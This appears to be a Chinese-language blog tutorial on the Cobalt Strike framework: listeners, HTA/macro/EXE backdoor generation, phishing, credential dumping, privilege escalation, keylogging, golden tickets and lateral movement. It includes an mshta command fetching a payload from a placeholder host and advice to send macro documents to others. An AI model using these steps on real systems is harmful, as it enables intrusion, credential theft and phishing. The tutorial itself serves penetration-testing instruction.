CobaltStrike的使用
目錄
CobaltStrike
CobaltStrike的安裝
CobaltStrike的使用
CobaltStrike模塊
創(chuàng)建監(jiān)聽器Listener
創(chuàng)建攻擊Attacks
HTML Application
MS Office Macro
Payload Generator
Windows Executable?&?Windows Executable(S)
Web Drive-by?網(wǎng)站釣魚攻擊
視圖View
對被控主機(jī)的操作
抓取hash和dump明文密碼
提權(quán)(Elevate)
利用被控主機(jī)建立Socks4代理
進(jìn)程列表(注入進(jìn)程,鍵盤監(jiān)控)
生成黃金票據(jù)注入當(dāng)前會話(Golden Ticket)
憑證轉(zhuǎn)換(Make Token)
端口掃描
哈希傳遞攻擊或SSH遠(yuǎn)程登錄
CobaltStrike常見命令
CobaltStrike
CobaltStrike是一款滲透測試神器,被業(yè)界人稱為CS神器。CobaltStrike分為客戶端與服務(wù)端,服務(wù)端是一個(gè),客戶端可以有多個(gè),可被團(tuán)隊(duì)進(jìn)行分布式協(xié)團(tuán)操作。
CobaltStrike集成了端口轉(zhuǎn)發(fā)、服務(wù)掃描,自動化溢出,多模式端口監(jiān)聽,windows exe 木馬生成,windows dll 木馬生成,java 木馬生成,office 宏病毒生成,木馬捆綁。釣魚攻擊包括:站點(diǎn)克隆,目標(biāo)信息獲取,java 執(zhí)行,瀏覽器自動攻擊等等強(qiáng)大的功能!
CobaltStrike的安裝
我這里以Kali安裝為例:?
安裝好了java之后,我們就去安裝CobalStrike了!
啟動服務(wù)端:
CobaltStrike目錄如下,講幾個(gè)主要文件的功能:
- agscript:擴(kuò)展應(yīng)用的腳本
- c2lint:用于檢查profile的錯(cuò)誤和異常
- teamserver:服務(wù)器端程序
- cobaltstrike/cobaltstrike.jar:客戶端程序
- logs:日志文件,包括Web日志、Beacon日志、截圖日志、下載日志、鍵盤記錄日志等
- update/update.jar:更新文件,用于更新cobaltstrike
- data:用于保存當(dāng)前TeamServer的一些數(shù)據(jù)
啟動客戶端:
./cobaltstrike這里host填kali的ip,密碼就是剛剛我們啟動的密碼。?
啟動后的客戶端:
我們也可以打開windows下的cobaltstrike客戶端,然后把ip設(shè)置為我們的啟動時(shí)候的ip即可。
CobaltStrike的使用
CobaltStrike模塊
- New Connection:打開一個(gè)新連接窗口
- Preferences:偏好設(shè)置,就是設(shè)置CobaltStrike外觀的
- Visualization:將主機(jī)以不同的權(quán)限展示出來(主要以輸出結(jié)果的形式展示)
- VPN Interfaces:設(shè)置VPN接口
- Listeners:創(chuàng)建監(jiān)聽器
- Script Interfaces:查看和加載CNA腳本
- Close:關(guān)閉
創(chuàng)建監(jiān)聽器Listener
點(diǎn)擊左上方CobaltStrike選項(xiàng)——>在下拉框中選擇 Listeners ——>在下方彈出區(qū)域中單機(jī)add
這里Payload有9種選項(xiàng),如下:
內(nèi)部的Listener
- windows/beacon_dns/reverse_dns_txt
- windows/beacon_dns/reverse_http
- windows/beacon_http/reverse_http
- windows/beacon_https/reverse_https?
- windows/beacon_smb/bind_pipe
外部的Listener
- windows/foreign/reverse_dns_txt
- windows/foreign/reverse_http
- windows/foreign/reverse_https
- windows/foreign/reverse_tcp
Beacon為內(nèi)置的Listener,即在目標(biāo)主機(jī)執(zhí)行相應(yīng)的payload,獲取shell到CS上;其中包含DNS、HTTP、HTTPS、SMB。Beacon可以選擇通過DNS還是HTTP協(xié)議出口網(wǎng)絡(luò),你甚至可以在使用Beacon通訊過程中切換HTTP和DNS。其支持多主機(jī)連接,部署好Beacon后提交一個(gè)要連回的域名或主機(jī)的列表,Beacon將通過這些主機(jī)輪詢。目標(biāo)網(wǎng)絡(luò)的防護(hù)團(tuán)隊(duì)必須攔截所有的列表中的主機(jī)才可中斷和其網(wǎng)絡(luò)的通訊。通過種種方式獲取shell以后(比如直接運(yùn)行生成的exe),就可以使用Beacon了。
Foreign為外部結(jié)合的Listener,常用于MSF的結(jié)合,例如獲取meterpreter到MSF上。
不同的beacon支持的系統(tǒng)位數(shù)也不同,如下:
關(guān)于DNS Beacon的使用:CobaltStrike中DNS Beacon的使用
創(chuàng)建攻擊Attacks
點(diǎn)擊中間的攻擊——>生成后門
這里Attacks有幾種,如下:
- HTML Application ?生成一個(gè)惡意HTML Application木馬,后綴格式為 .hta。通過HTML調(diào)用其他語言的應(yīng)用組件進(jìn)行攻擊,提供了可執(zhí)行文件、PowerShell、VBA三種方法
- MS Office Macro ? ?生成office宏病毒文件;
- Payload Generator ? ?生成各種語言版本的payload,可以生成基于C、C#、COM Scriptlet、Java、Perl、PowerShell、Python、Ruby、VBA等的payload
- Windows Executable 生成32位或64位的exe和基于服務(wù)的exe、DLL等后門程序
- Windows Executable(S) 用于生成一個(gè)exe可執(zhí)行文件,其中包含Beacon的完整payload,不需要階段性的請求。與Windows Executable模塊相比,該模塊額外提供了代理設(shè)置,以便在較為苛刻的環(huán)境中進(jìn)行滲透測試。該模塊還支持powershell腳本,可用于將Stageless Payload注入內(nèi)存
HTML Application
HTML Application用于生成hta類型的文件。HTA是HTML Application的縮寫(HTML應(yīng)用程序),是軟件開發(fā)的新概念,直接將HTML保存成HTA的格式,就是一個(gè)獨(dú)立的應(yīng)用軟件,與VB、C++等程序語言所設(shè)計(jì)的軟件界面沒什么差別。HTML Application有三種類型的生成方式,測試發(fā)現(xiàn),只有powershell方式生成的hta文件才能正常執(zhí)行上線,Executable和VBA方式生成的hta文件執(zhí)行的時(shí)候提示當(dāng)前頁面的腳本發(fā)生錯(cuò)誤。
基于PowerShell方式生成的hta文件,執(zhí)行上線
執(zhí)行mshta上線成功:mshta http://xx.xx.xx.xx/download/file.ext
基于Executable方式生成的hta文件,執(zhí)行報(bào)錯(cuò)如下
基于VBA方式生成的hta文件,執(zhí)行報(bào)錯(cuò)如下
MS Office Macro
攻擊——>生成后門——>MS Office Macro
然后選擇一個(gè)監(jiān)聽器,點(diǎn)擊Generate
然后點(diǎn)擊Copy Macro
然后打開word編輯器,點(diǎn)擊視圖,然后點(diǎn)擊宏
隨便輸入一個(gè)宏名,點(diǎn)擊創(chuàng)建
先清除這里面的所有代碼,然后復(fù)制CobaltStrike生成的代碼,保存退出。
將該文檔發(fā)給其他人,只要他是用word打開,并且開啟了宏,我們的CS就會收到彈回來的shell,進(jìn)程名是rundll32.exe。
word開啟禁用宏:文件——>選項(xiàng)——>信任中心——>信任中心設(shè)置
Payload Generator
這個(gè)模塊用于生成各種語言版本的shellcode,然后用其他語言進(jìn)行編譯生成,可參考:MSF木馬的免殺(三)
Windows Executable?&?Windows Executable(S)
這兩個(gè)模塊直接用于生成可執(zhí)行的 exe 文件或 dll 文件。Windows Executable是生成Stager類型的馬,而Windows?Executable(S) 是生成Stageless類型的馬。那Stager和Stageless有啥區(qū)別呢?
- Stager是分階段傳送Payload。分階段啥意思呢?就是我們生成的Stager馬其實(shí)是一個(gè)小程序,用于從服務(wù)器端下載我們真正的shellcode。分階段在很多時(shí)候是很有必要的,因?yàn)楹芏鄨鼍皩τ谀芗虞d進(jìn)內(nèi)存并成功漏洞利用后執(zhí)行的數(shù)據(jù)大小存在嚴(yán)格限制。所以這種時(shí)候,我們就不得不利用分階段傳送了。如果不需要分階段的話,可以在C2的擴(kuò)展文件里面把?host_stage 選項(xiàng)設(shè)置為 false。
- 而Stageless是完整的木馬,后續(xù)不需要再向服務(wù)器端請求shellcode。所以使用這種方法生成的木馬會比Stager生成的木馬體積要大。但是這種木馬有助于避免反溯源,因?yàn)槿绻_啟了分階段傳送,任何人都能連接到你的C2服務(wù)器請求payload,并分析payload中的配置信息。在CobaltStrike4.0及以后的版本中,后滲透和橫向移動絕大部分是使用的Stageless類型的木馬。
Windowss Executable(S)相比于Windows?Executable,其中包含Beacon的完整payload,不需要階段性的請求,該模塊額外提供了代理設(shè)置,以便在較為苛刻的環(huán)境中進(jìn)行滲透測試。該模塊還支持powershell腳本,可用于將Stageless Payload注入內(nèi)存。
注意,生成的Windows Service EXE生成的木馬,直接雙擊是不會返回session的。需要以創(chuàng)建服務(wù)的方式啟動,才會返回session。
Web Drive-by?網(wǎng)站釣魚攻擊
點(diǎn)擊中間的Attacks——>Web Drive-by(網(wǎng)站釣魚攻擊)
- Manage ?對開啟的web服務(wù)進(jìn)行管理;
- Clone Site ? ? 克隆網(wǎng)站,可以記錄受害者提交的數(shù)據(jù);
- Host File ? 提供一個(gè)文件下載,可以修改Mime信息;Host File 可以配合DNS欺騙實(shí)現(xiàn)掛馬效果使用
- Scripted Web Delivery? ? ? ? ? ? ? 基于Web的攻擊測試腳本,自動生成可執(zhí)行的payload?;
- Signed Applet Attack ? ? ? ?啟動一個(gè)Web服務(wù)以提供自簽名Java Applet的運(yùn)行環(huán)境;
- Smart Applet Attack ? 自動檢測Java版本并l利用已知的exploits繞過security;
- System Profiler ? ?用來獲取一些系統(tǒng)信息,比如系統(tǒng)版本,Flash版本,瀏覽器版本等。
- Spear Phish ? ?用來郵件釣魚的模塊
視圖View
點(diǎn)擊中間的View
- Applications 顯示受害者機(jī)器的應(yīng)用信息;
- Credentials ?顯示受害者機(jī)器的憑證信息,通過hashdump和mimikatz獲取的密碼都保存在這里;
- Downloads 查看從被控機(jī)器上下載的文件;
- Event Log ? ?可以看到事件日志,清楚的看到系統(tǒng)的事件,并且團(tuán)隊(duì)可以在這里聊天;
- Keystrokes ?查看鍵盤記錄;
- Proxy Pivots ? 查看代理信息;
- Screenshots ? 查看屏幕截圖;
- Script Console ? ?在這里可以加載各種腳本以增強(qiáng)功能,腳本地址:https://github.com/rsmudge/cortana-scripts
- Targets ? ?查看目標(biāo);
- Web Log 查看web日志。
- Reporting ??主要就是出報(bào)告用的
對被控主機(jī)的操作
抓取hash和dump明文密碼
這兩項(xiàng)功能都需要管理員權(quán)限,如果權(quán)限不足,先提權(quán)
- 抓取密碼哈希:右鍵被控主機(jī)——>Access——>Dump Hashes
- 利用mimikatz抓取明文密碼:右鍵被控主機(jī)——>Access——>Run Mimikatz
抓取密碼哈希,也可以直接輸入:hashdump
使用mimikatz抓取明文密碼,也可以直接輸入:logonpasswords
抓取完之后,點(diǎn)擊憑證信息,就會顯示我們抓取過的哈希或者明文。這里我們也可以手動添加或修改憑證信息
提權(quán)(Elevate)
當(dāng)獲取的當(dāng)前權(quán)限不夠時(shí),可以使用提權(quán)功能
右鍵被控主機(jī)——>Access——>Elevate
親測Windows Server 2008R2 、Win7?及以下系統(tǒng)可用。Win10不可用??
默認(rèn)有三個(gè)提權(quán)payload可以使用,分別是MS14-058、uac-dll、uac-token-duplication 。
我們選中MS14-058,點(diǎn)擊Launch
之后就彈回來一個(gè)system權(quán)限的beacon
我們也可以自己加入一些提權(quán)腳本進(jìn)去。在Github上有一個(gè)提權(quán)工具包,使用這個(gè)提權(quán)工具包可以增加幾種提權(quán)方法:https://github.com/rsmudge/ElevateKit? ? 。我們下載好該提權(quán)工具包后
如下,
再打開我們的提權(quán),可以看到多了幾種提權(quán)方式了
利用被控主機(jī)建立Socks4代理
當(dāng)我們控制的主機(jī)是一臺位于公網(wǎng)和內(nèi)網(wǎng)邊界的服務(wù)器 ,我們想利用該主機(jī)繼續(xù)對內(nèi)網(wǎng)進(jìn)行滲透,于是,我們可以利用CS建立socks4A代理
右鍵被控主機(jī)——>Pivoting——>SOCKS Server
這里是SOCKS代理運(yùn)行的端口,任意輸入一個(gè)未占用的端口即可,默認(rèn)CS會給出一個(gè),我們直接點(diǎn)擊Launch即可。
于是,我們在自己的主機(jī)上設(shè)置Socks4代理。代理ip是我們CS服務(wù)端的ip,端口即是 38588。
如果我們想查看整個(gè)CS代理的設(shè)置,可以點(diǎn)擊View——>Proxy Pivots?
然后我們可以直接在瀏覽器設(shè)置socks4代理
進(jìn)程列表(注入進(jìn)程,鍵盤監(jiān)控)
右鍵被控主機(jī)——>Explore——>Process List
即可列出進(jìn)程列表
選中該進(jìn)程,Kill為殺死該進(jìn)程,Refresh為刷新該進(jìn)程,Inject?則是把beacon注入進(jìn)程,Log Keystrokes為鍵盤記錄,Screenshot 為截圖,Stea Token為竊取運(yùn)行指定程序的用戶令牌
這里著重講一下注入進(jìn)程和鍵盤記錄
Inject注入進(jìn)程
選擇進(jìn)程,點(diǎn)擊Inject,隨后選擇監(jiān)聽器,點(diǎn)擊choose,即可發(fā)現(xiàn)CobaltStrike彈回了目標(biāo)機(jī)的一個(gè)新會話,這個(gè)會話就是成功注入到某進(jìn)程的beacon會話。該功能可以把你的beacon會話注入到另外一個(gè)程序之中,注入之后,除非那個(gè)正常進(jìn)程被殺死了,否則我們就一直可以控制該主機(jī)了。
inject? 進(jìn)程PID? 進(jìn)程位數(shù)? 監(jiān)聽鍵盤記錄
任意選擇一個(gè)進(jìn)程,點(diǎn)擊Log Keystrokes,即可監(jiān)聽該主機(jī)的鍵盤記錄
keylogger? 進(jìn)程PID? 進(jìn)程位數(shù)查看鍵盤記錄結(jié)果:點(diǎn)擊鑰匙一樣的按鈕,就可以在底下看到鍵盤記錄的詳細(xì)了,會監(jiān)聽所有的鍵盤記錄,而不只是選中的進(jìn)程的鍵盤記錄
鍵盤監(jiān)聽記錄,也可以直接輸入?keylogger
生成黃金票據(jù)注入當(dāng)前會話(Golden Ticket)
生成黃金票據(jù)的前提是我們已經(jīng)獲得了krbtgt用戶的哈希:9ce0b40ed1caac7523a22d574b32deb2 。并且已經(jīng)獲得一個(gè)以域用戶登錄的主機(jī)權(quán)限
右鍵當(dāng)前獲得的主機(jī)——>Access——>Golden Ticket
在彈出來的對話框中輸入以下:
- User:要偽造用戶名,這里我們一般填administrator
- Domain:域名
- Domain SID:域SID
- Krbtgt Hash:krbtgt用戶的哈希
然后點(diǎn)擊Build即可
這是輸入框自動執(zhí)行的mimikatz命令,如圖票據(jù)傳遞攻擊成功。我們查看域控的C盤,輸入如下命令
shell dir\\win2008.xie.com\c$憑證轉(zhuǎn)換(Make Token)
如果我們已經(jīng)獲得了域內(nèi)其他用戶的賬號密碼,就可以使用此模塊生成令牌,此時(shí)生成的令牌具有指定用戶的身份。
右鍵當(dāng)前獲得的主機(jī)——>Access——>Make Token
輸入已經(jīng)獲得了域用戶的賬號密碼和域名,點(diǎn)擊Build
日志框內(nèi)的記錄
端口掃描
右鍵——>目標(biāo)——>端口掃描,然后填入要掃描的端口和網(wǎng)段。這里我們也可以直接執(zhí)行命令:
掃完了之后,直接在控制臺就會有結(jié)果。
我們點(diǎn)擊視圖——>目標(biāo),就會出現(xiàn)網(wǎng)段中存活的主機(jī)。(這是通過端口掃描探測到的結(jié)果顯示的,要想這里顯示,必須得先進(jìn)行掃描端口)
哈希傳遞攻擊或SSH遠(yuǎn)程登錄
進(jìn)行了上一步的端口掃描后,我們這里視圖——>目標(biāo)就會有當(dāng)前網(wǎng)段的存活主機(jī)。
對于Linux機(jī)器,如果我們知道賬號密碼的話,可以遠(yuǎn)程SSH連接,并返回一個(gè)CS的session。
需要一臺服務(wù)器作為中繼才可以控制Linux服務(wù)器,我們這里先獲取到一個(gè)windows服務(wù)器的權(quán)限,然后進(jìn)入windows服務(wù)器的beacon進(jìn)行執(zhí)行命令
可以兩種方式遠(yuǎn)程連接:ssh?和? ssh-key
可以圖形化操作,也可以命令行操作:ssh? 192.168.10.13:22? root? root
對于Linux機(jī)器,也可以使用SSH公私鑰進(jìn)行登錄,并返回一個(gè)CS的session。
需要一臺服務(wù)器作為中繼才可以控制Linux服務(wù)器,我們這里先獲取到一個(gè)windows服務(wù)器的權(quán)限,然后進(jìn)入windows服務(wù)器的beacon進(jìn)行執(zhí)行命令
首先,將公鑰authorized_keys放到目標(biāo)主機(jī)的/root/.ssh/目錄下
然后我們本地機(jī)器放私鑰,遠(yuǎn)程連接
ssh-key 192.168.10.13:22 root e:\id_rsa對于Windows機(jī)器,如果我們獲取到賬號和密碼(明文或者哈希),都可以進(jìn)行遠(yuǎn)程連接
遠(yuǎn)程連接的前提是目標(biāo)機(jī)器開放了445端口,然后CS會通過遠(yuǎn)程連接開啟一個(gè)CS的seesion。可以用以下方式遠(yuǎn)程連接:psexec 、psexec64、psexec_psh 、winrm?和?winrm64
如果遇到目標(biāo)機(jī)器不出網(wǎng)的情況,則我們需要在已經(jīng)被控的主機(jī)上建立一個(gè)listen,以此作為中繼。
然后攻擊的時(shí)候的監(jiān)聽器選擇我們剛剛用被控主機(jī)建立的listen即可。
但是這樣會導(dǎo)致的一個(gè)后果就是,只要第一個(gè)被控主機(jī)掉線,通過該主機(jī)中繼打下的內(nèi)網(wǎng)其他主機(jī)也都會掉線。
CobaltStrike常見命令
?
?
總結(jié)
以上是生活随笔為你收集整理的CobaltStrike的使用的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Searchsploit
- 下一篇: Metasploit Framework